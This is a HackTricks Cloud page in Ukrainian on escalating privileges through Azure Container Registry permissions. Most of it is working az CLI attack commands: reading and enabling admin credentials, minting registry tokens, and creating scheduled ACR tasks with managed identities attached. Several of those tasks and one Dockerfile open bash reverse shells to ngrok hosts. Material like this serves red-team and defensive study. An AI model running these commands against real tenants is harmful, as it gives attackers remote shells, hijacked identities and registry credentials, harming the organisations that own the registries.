Az - Azure Container Registry Privesc
Reading time: 5 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Azure Container Registry
Для отримання додаткової інформації перегляньте:
Microsoft.ContainerRegistry/registries/listCredentials/action
Ця дозволяє користувачу переглядати облікові дані адміністратора ACR. Це корисно для отримання повного доступу до реєстру.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
У випадку, якщо облікові дані адміністратора не активовані, вам також знадобиться дозвіл Microsoft.ContainerRegistry/registries/write
, щоб активувати їх за допомогою:
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
Microsoft.ContainerRegistry/registries/tokens/write
, Microsoft.ContainerRegistry/registries/generateCredentials/action
Ці дозволи дозволяють користувачу створити новий токен з паролями для доступу до реєстру.
Щоб використовувати az cli
для його генерації, як у наступному прикладі, вам також знадобляться дозволи Microsoft.ContainerRegistry/registries/read
, Microsoft.ContainerRegistry/registries/scopeMaps/read
, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read
, Microsoft.ContainerRegistry/registries/tokens/read
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action
, Microsoft.ContainerRegistry/registries/scheduleRun/action
, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action
Ці дозволи дозволяють користувачу створювати та запускати образ у реєстрі. Це можна використовувати для виконання коду в контейнері.
[!WARNING] Однак, образ буде виконуватись у пісочниці і без доступу до служби метаданих. Це означає, що контейнер не матиме доступу до метаданих екземпляра, тому це не є дійсно корисним для ескалації привілеїв.
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
Microsoft.ContainerRegistry/registries/tasks/write
Це основний дозвіл, який дозволяє створювати та оновлювати завдання в реєстрі. Це можна використовувати для виконання коду всередині контейнера з прикріпленою до нього керованою ідентичністю в контейнері.
Це приклад того, як виконати реверс-шелл у контейнері з керованою системою ідентичністю, прикріпленою до нього:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Інший спосіб отримати RCE з задачі без використання зовнішнього репозиторію - це використати команду az acr task create
з прапором --cmd
. Це дозволить вам виконати команду в контейнері. Наприклад, ви можете запустити реверс-шелл за допомогою наступної команди:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
tip
Зверніть увагу, що для призначення системного керованого ідентифікатора вам не потрібні спеціальні дозволи, хоча він повинен бути активований раніше в реєстрі та отримати деякі дозволи, щоб бути корисним.
Щоб також призначити керований ідентифікатор користувача, вам знадобиться дозвіл Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, щоб виконати:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Щоб оновити репозиторій існуючого завдання, ви можете зробити:
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
Microsoft.ContainerRegistry/registries/importImage/action
З цією дозволом можливо імпортувати зображення до реєстру azure, навіть не маючи зображення локально. Однак зверніть увагу, що ви не можете імпортувати зображення з тегом, який вже існує в реєстрі.
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
Щоб видалити або зняти мітку з конкретного зображення з реєстру, ви можете використати наступну команду. Однак зверніть увагу, що вам знадобиться користувач або токен з достатніми правами для цього:
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.